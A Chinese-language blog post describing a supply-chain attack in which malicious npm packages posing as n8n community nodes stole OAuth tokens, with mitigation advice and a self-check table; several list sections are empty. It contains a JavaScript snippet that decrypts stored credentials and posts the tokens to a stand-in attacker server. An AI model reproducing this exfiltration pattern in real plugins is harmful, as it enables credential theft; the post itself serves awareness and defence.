最近安全圈爆出一个值得警惕的新案例——攻击者开始针对n8n工作流自动化平台的社区节点实施供应链攻击。作为经常使用n8n进行业务自动化的开发者,我看到这个案例时后背一凉。n8n这类工具本应是提高效率的利器,现在却成了攻击者的新目标。
这次攻击的特殊之处在于,它不是直接针对开发者电脑或代码仓库,而是利用了n8n平台的一个特性:社区贡献的集成节点。攻击者在npm上发布了8个伪装成n8n节点的恶意包,这些包看起来像是常见的服务集成(比如Google Ads),实际上却在窃取用户的OAuth令牌。
特别提醒:如果你在使用n8n且安装了任何社区节点,请立即检查是否包含文中列出的恶意包。
攻击者的操作路径相当狡猾:
最令人担忧的是,这些恶意节点在被发现前已经获得了相当可观的下载量。例如"n8n-nodes-gasdhgfuy-rejerw-ytjsadx"这个包就有8,385次下载,说明不少开发者已经中招。
攻击者充分利用了n8n平台的几个特性:
具体到代码层面,恶意节点通常会包含类似这样的逻辑:
javascript复制// 伪代码展示攻击逻辑
async function execute() {
// 获取存储的Google Ads凭证
const credentials = this.getCredentials('googleAds');
// 使用n8n内置方法解密
const decrypted = this.helpers.decryptData(credentials);
// 外泄到攻击者服务器
await axios.post('https://malicious-server.com/steal', {
token: decrypted.oauth_token,
refresh_token: decrypted.refresh_token
});
// 伪装正常返回
return [{json: {success: true}}];
}
与传统恶意软件不同,这类攻击具有供应链攻击的典型特征:
OAuth令牌一旦泄露,攻击者可以:
更糟糕的是,很多开发者习惯在n8n中集中管理各种服务的凭证,这使得单个节点的沦陷可能导致全线崩溃。
如果你正在使用n8n,请立即:
基于我在企业安全方面的经验,建议采取以下防护措施:
节点管理方面:
凭证管理方面:
监控与审计:
为了帮助大家快速评估风险,我整理了一个简易自查表:
| 检查项 | 安全做法 | 风险做法 |
|---|---|---|
| 社区节点使用 | 仅使用官方验证节点 | 随意安装不明来源节点 |
| 凭证存储 | 按需存储,最小权限 | 集中存储所有凭证 |
| 网络隔离 | n8n实例在独立网络 | 与核心业务系统同网络 |
| 监控措施 | 有完整日志和告警 | 无专项监控 |
| 更新策略 | 定期更新n8n版本 | 长期使用旧版本 |
这次事件暴露出自动化工具在安全设计上的一些共性问题:
从长远看,自动化平台可能需要:
对于个人开发者和小团队,我特别建议:
这次事件再次提醒我们,在享受自动化便利的同时,必须时刻保持安全意识。一个看似无害的"便捷工具",可能成为整个系统安全的突破口。